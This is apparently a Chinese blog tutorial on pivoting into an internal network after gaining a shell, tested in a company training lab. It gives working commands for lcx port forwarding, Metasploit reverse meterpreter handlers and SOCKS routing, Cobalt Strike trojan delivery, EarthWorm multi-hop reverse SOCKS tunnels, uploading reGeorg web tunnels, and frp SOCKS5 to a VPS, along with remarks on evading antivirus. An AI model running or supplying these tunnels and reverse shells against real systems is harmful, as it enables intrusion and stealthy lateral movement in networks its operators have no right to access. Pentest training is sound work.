ingress流量转发到外部 whmcs流量转发
0x00前言
在拿到一台服务器的shell的时候,如果想要更进一步渗透测试,则需要进行内网渗透
而在内网渗透的流量转发是一个道理,是在拿到shell的服务器上使用工具让它变成代理的服务器端,之后在本机使用客户端工具进行连接
0x01流量转发工具
需要放在拿到shell的服务器的服务器端可使用
1.lcx 2.msf 3.cobalt Strike 4.earthworm 5.reGeorg本地的客户端可以使用
windows
1.proxifier 2.SocksCap64linux
1.proxychains0x02 本次测试的环境
本次环境是公司搭的一个一层内网学习环境,本篇文章只总结流量转发的方法,因此大致介绍下简化的拓扑结构
攻击机:
ip:10.86.0.87 win10(该ip能访问到最外层的DMZ区web服务器)
ip: xx.xx.xx.xx kali (虚拟机,与主机win10 进行NAT连接)
被攻击机:
ip: 172.16.3.145 ,192.168.93.143 web服务器(双网卡,192为内网ip)
ip: 192.168.93.138 内网服务器,上面80有个IIS服务(能访问到该web,则说明代理成功)
明确个概念
那么DMZ区服务器弹shell到kali虚拟机要通过本机做端口映射,kali要访问内网web服务器则代理需要设置成本机的端口
0x03 lcx转发
本工具只是端口流量转发,并不具备完整的proxy代理功能
举个例子服务器只能本地连3389,因此攻击机连不了,但是可以通过该工具将3389转发到攻击机的端口上,就能连接了
拿到shell后,上传lcx.exe文件
将自身端口流量转发到攻击机端口上
使用方法
本机
接收2333端口来的流量,并在自己的2334端口打开
lcx.exe –listen 2333 2334目标服务器
将自己的3389的流量转发到10.86.0.87攻击机的2333端口上
lcx.exe -slave 10.86.0.87 2333 127.0.0.1 3389rdp连接自己的2334端口
本身流量转发
这玩意儿还能在自己的上进行端口转发,比如把3389端口流量转到自己的2333端口
lcx.exe -tran 2333 127.0.0.1 33890x04 msf
msf它本身有流量转发的模块,因为本次的msf是在kali虚拟机里面的,又因为DMZ区服务器是没法访问到kali的,意味着反弹shell是没法直接实现的
在使用msf转发前,使用frp将kali的监听端口映射到本机上
在本机中使用frps服务器端
frps.ini的配置如下,确定绑定的端口,token的值,转发的端口,即可
启动
.\frps.exe -c .\frps2.ini在kali中使用frpc客户端
frpc.ini的配置如下,[common]是协议连接的目标,和token凭证,[appName1]~[appName3]是将10.86.0.87的10001端口映射到自己的10001端口
启动方式,利用nohup和 &,挂后台运行
nohup ./frpc -c frpc2.ini &回过头来看windows本机,已经有信息了
可以使用nc尝试下,是否映射了
访问下windows的10001端口
再看kali里面收到了http请求头
将shell反弹到msf上
先在msf中进行监听php的msf的shell
use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LPORT 10001 set LHOST 10.86.0.87 run现在DMZ服务器能间接通过的端口映射访问到kali的端口了,在冰蝎中可以使用设置好的反弹msf的payload
点击给我连,就弹回来啦
使用msf设置代理
拿到msf的shell了后,就是上代理了,这里因为我之前已经扫过网段了,可以确定内网是192.168.93.0/24网段
因此添加路由
meterpreter> run autoroute -s 192.168.93.0/24可以查看
meterpreter> run autoroute -p接下来将该shell挂起到后台
meterpreter> background并且使用sock4a模块进行转发
use auxiliary/server/socks4a #socks4a socks5都可以 set srvhost 127.0.0.1 set srvport 1084 runkali中直接firefox访问下192.168.93.80的web,页面是加载不出来的
接下来使用proxychains来代理访问内网的web
设置一下
vim /etc/proxychains.confproxychains curl http://192.168.93.138即可访问成功
0x05 Cobalt Strike代理
这个就很好用了,强烈推荐,因为我是在windows上起的cs的服务器,因此反向代理就是本机不需要端口映射,操作也非常简单(就这玩意儿老断开连接,可能我电脑的问题)
先创建个listener
生成一个exe的木马,当然有杀软的话可以使用powershell或者编程语言运行代码直接反弹
丢到服务器上运行
OK弹回来了
因为这里是代理使用的总结,就不深入总结cs的利用,直接使用代理模块
这里cs有2个代理方式,一个是浏览器代理,一个是sock代理
首先看浏览器代理
接下来,就可以使用我本机的浏览器,挂代理访问了,挂代理方式和burp一样,这里使用的是本机的4001端口
设置方式很简单
访问下试试
在kali虚拟机中同理,也可以使用这样的方式访问web了
但是proxychains是不行的,接下来可以使用cs的另一个代理socks
接下里配置proxychains
成功代理
0x06 使用earthworm
ew是一个很厉害的软件,但是因为很厉害所以作者已经关闭下载了....
他有各种系统的可执行文件
ew具有lcx的转发功能,还能执行socks代理
正向代理和反向代理的区别很多文章都有提到,从表面上看正向代理的代理端口和ip是在被攻击的服务器上,反向代理的端口和ip是自己的本机
正向代理
将对应系统的可执行文件上传上去
只需要在服务器执行
ew_for_Win.exe -s ssocksd -l 2336配置好proxychains,代理为172.16.3.145:2336端口,能够访问内网了
反向代理
在本地使用ew进行端口监听,意思是将本地从4399接收到的流量转发到2337端口上
.\ew_for_Win.exe -s rcsocks -l 2337 -e 4399在跳板的服务器上执行,将自己的代理服务转到远程10.86.0.87服务器上的4399端口
ew_for_Win.exe -s rssocks -d 10.86.0.87 -e 4399尝试下
ew具有lcx的功能
在最上面介绍lcx的时候提到了lcx具有将远程的端口映射到本地,和将本地的端口A流量转移到端口B的功能
ew同样有lcx的功能,使用方法如下,这里还是拿3389为例
将远程端口映射到本地
在本机起监听,监听自己的4399和2338端口,将4399端口收到的数据转出到2338端口接收
.\ew_for_Win.exe -s lcx_listen -l 2338 -e 4399在远程的服务器上执行
ew_for_Win.exe -s lcx_slave -d 10.86.0.87 -e 4399 -f 127.0.0.1 -g 3389将本机的端口A转发到端口B
ew_for_Win.exe -s lcx_tran -l 4002 -f 127.0.0.1 -g 3389多级代理
ew移植lcx的功能不仅仅是为了集合功能,更重要的是可以凭借该功能达到多层代理,这里没有实际的环境,举个例子
攻击机A ,边间服务器B,内网1层的服务器C,内网2层的服务器D
首先拿到B,挂好代理,只能看到C,但不能看到D,这时候就要借助EW的转发功能实现多层内网渗透
攻击机A,使用反向代理
将接到的3001端口的流量,开到自己的2001端口上,最终是挂本地2001端口,实现代理的
.\ew_for_Win.exe -s rcsocks -l 2001 -e 3001边界服务器B,使用流量转发和流量监听
流量转发,将本地4001端口流量转移到A的3001端口上
.\ew_for_Win.exe -s lcx_slave -d A的ip -e 3001 -f 127.0.0.1 -g 4001流量监听,将接受到的5001端口的流量转到自己的4001上
.\ew_for_Win.exe -s lcx_listen -l 4001 -e 5001内网1层的服务器C
反向代理,将自己的5001的socks代理传给B的5001端口
.\ew_for_Win.exe -s rssocks -d B的ip -e 5001综上所述,访问到D的流量如下
D -> C -> B:5001 -> B:4001 -> A:3001 -> A:2001挂A:2001的代理,即可访问到D
0x07 reGeorg
reGeorg使用起来也很方便,他和以上的几种工具想比,它不需要在目标上运行程序,只需要把对应的web的脚本上传上去能够访问即可
reGeorg的文件主要是以web的后台语言为代理脚本,因此要使用reGeorg的先决条件是需目标具有web服务
这里的例子是PHP,先上传tunnel.php函数报错了,之后我上传了tunnel.nosocket.php,则正常工作了
tunnel.nosocket.php能正常打开
接下来在本地,使用python运行它的py脚本,如果不加-l参数则默认是127.0.0.1的地址开启的代理,这时kali就没法使用10.86.0.87,ip来设置代理了
python .\reGeorgSocksProxy.py -l 10.86.0.87 -p 5432 -u http://172.16.3.145/tunnel.nosocket.php自己的5432端口即为代理端口
0x08 frp
在博客搬家的时候,又另外学到一招使用frp进行内网代理的,十分稳定好用,最主要的是frp是正常软件,杀软一般不会杀
理清思路,跳板机是frpc,我们的vps是frps,将跳板机的流量转到vps的一个端口上,代理走vps的转发端口即可完成内网代理
在跳板机上的frpc.ini内容如下,将tcp的流量使用socks5,压缩一下转到远程端口的8881上
[common] server_addr = mi0.xyz server_port = 7000 token = xxxxxx [socks_proxy] type = tcp remote_port = 8881 plugin = socks5 use_compression = true在vps服务器上的frps.ini
[common] bind_addr = 0.0.0.0 bind_port = 7000 token = xxxxx之后先在vps上启动frps.ini
nohup ./frps -c frps.ini &在跳板机上启动frpc.ini
#linux nohup ./frpc -c frpc.ini & #windows ./frpc.exe -c frpc.ini0x09代理客户端
在最前面讲到有3个代理的客户端,其中proxychains是linux下的,也是上面各种工具使用时候,使用的代理方式验证,proxifier和SocksCap64均是windows下的工具,有图形化的界面,免费的。proxifier随便找个激活码即可
proxychains
安装,kali自带的
apt-get install proxychains直接修改/etc/proxychains.conf文件
在最下面的[ProxyList]中以以下格式设置代理
socks4 ip port 或者 socks5 ip port使用方法也很简单,这样msf就能本身挂代理了
proxychains msfconsole但是proxychains有些命令不支持,比如ping
proxifier
该工具是windows下的,配置有2个注意点即可
1.配置代理的ip和端口
2.配置走代理的exe程序
以刚刚的reGeorg代理为例
配置好了代理的服务器,接下来配置哪些服务走该代理
Direct是直连,即不走代理的意思, proxy SOCKS5 即是刚刚设置的代理,当前设置是firefox走代理,chrome.exe不走代理
这个规则表和配置交换机的ACL协议一样,从上往下读协议的
如果要burp抓包,则使用Any,Any,Any,即全部应用都走代理即可
SocksCap64
和proxifier很相似,先设置代理
接下来右键下面的应用,选择在代理隧道中运行即可,该应用也可以添加
这里在代理隧道中运行chrome,即可访问内网的web服务
0x09 结语
挂代理思路清楚了是比较简单的事情,渗透测试和CTF稍微不同的地方在于,CTF注重原理,深入到代码的写法问题,而渗透测试则注重工具的使用。lcx和ew很容易被杀软杀掉,但是在比较low或者比赛或者学习的环境中或者关掉杀软的情况下还是比较好使的@_@